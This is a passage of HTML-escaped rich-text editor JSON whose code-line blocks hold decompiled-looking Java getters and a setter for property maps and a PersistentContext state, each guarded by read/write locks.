@NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hp9y-1682254540195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QtNL-1682254540194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZV8k-1682254540197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NRGv-1682254540196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hzaR-1682254540199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ppb0-1682254540198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EcKZ-1682254540201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ppl-1682254540200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0NM0-1682254540203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CEaw-1682254540202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._propertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b2uh-1682254540205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LejV-1682254540204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zrYa-1682254540207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;73qz-1682254540206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nQrE-1682254540209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a7LK-1682254540208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uQ4D-1682254540211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gx6M-1682254540210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MVJj-1682254540213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VbbH-1682254540212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FqVa-1682254540215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tWxj-1682254540214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZWMc-1682254540217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;geIE-1682254540216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pKka-1682254540219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nMYw-1682254540218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TOAN-1682254540221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2s1Y-1682254540220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Set&lt;String&gt; getPropertyBagClassNames() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GFPH-1682254540223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cogv-1682254540222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Set var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CGm2-1682254540226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I1lJ-1682254540224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N21O-1682254540228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8vdc-1682254540227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wU0W-1682254540230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kkxe-1682254540229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._propBagClassNames;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;We9e-1682254540232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BnYU-1682254540231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aoH3-1682254540234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YgYG-1682254540233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5gGc-1682254540236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mMv4-1682254540235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MRGR-1682254540238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCgf-1682254540237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xCE3-1682254540240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fFbV-1682254540239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bETx-1682254540242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SKzF-1682254540241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wv7B-1682254540244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OkB8-1682254540243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tUSr-1682254540246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P37A-1682254540245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @Nullable&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5AOF-1682254540248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UccJ-1682254540247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getContextPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Su4z-1682254540250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9tYc-1682254540249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v6tP-1682254540252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PE7k-1682254540251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0m3H-1682254540254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BWw-1682254540253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pz9d-1682254540256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uaRO-1682254540255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._contextPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ULFp-1682254540258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv5C-1682254540257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VCnq-1682254540260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;01Ri-1682254540259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kI3Z-1682254540262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4HKb-1682254540261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s764-1682254540264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ytCC-1682254540263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XAck-1682254540266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgws-1682254540265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XOda-1682254540268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E3ru-1682254540267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;poCu-1682254540270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ImL7-1682254540269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dY0y-1682254540272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T1pc-1682254540271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aEJ2-1682254540274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CuFX-1682254540273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public Map&lt;String, Serializable&gt; getInvocationPropertyMap() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eVua-1682254540276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9Se-1682254540275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5xU-1682254540278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZyQn-1682254540277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4S4-1682254540280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OsBi-1682254540279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IuVi-1682254540282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G7Sq-1682254540281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._invocationPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Pn8-1682254540284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lp2P-1682254540283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7CII-1682254540286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;62bL-1682254540285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CxUA-1682254540288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xBzS-1682254540287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lsEJ-1682254540290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c4cP-1682254540289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wst1-1682254540292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TwTl-1682254540291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U9Y0-1682254540294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwM8-1682254540293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8kRh-1682254540296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nVcw-1682254540295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pnqd-1682254540298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kPG1-1682254540297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public PersistentContext.State getState() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qVtk-1682254540300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S1Oh-1682254540299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1CG-1682254540302&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fmQQ-1682254540301&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJhh-1682254540304&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hTSq-1682254540303&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PersistentContext.State var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S3Ds-1682254540306&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0yFa-1682254540305&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BHUY-1682254540308&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bl4X-1682254540307&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;685W-1682254540310&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZKS-1682254540309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EnzR-1682254540312&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dk0F-1682254540311&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;frp8-1682254540314&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIKp-1682254540313&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ntMP-1682254540316&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pt0W-1682254540315&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;43pR-1682254540318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ibk-1682254540317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gQoE-1682254540320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LQJN-1682254540319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gbk3-1682254540322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yh2u-1682254540321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GRcz-1682254540324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C9qs-1682254540323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void setState(PersistentContext.State var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIdm-1682254540326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lzWO-1682254540325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.writeLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EzHM-1682254540328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E2df-1682254540327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WVHt-1682254540330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q2UA-1682254540329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EHmv-1682254540332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I3dd-1682254540331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._state = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01L6-1682254540335&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZP3J-1682254540334&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NbEb-1682254540337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8bph-1682254540336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k4KP-1682254540339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bR2h-1682254540338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        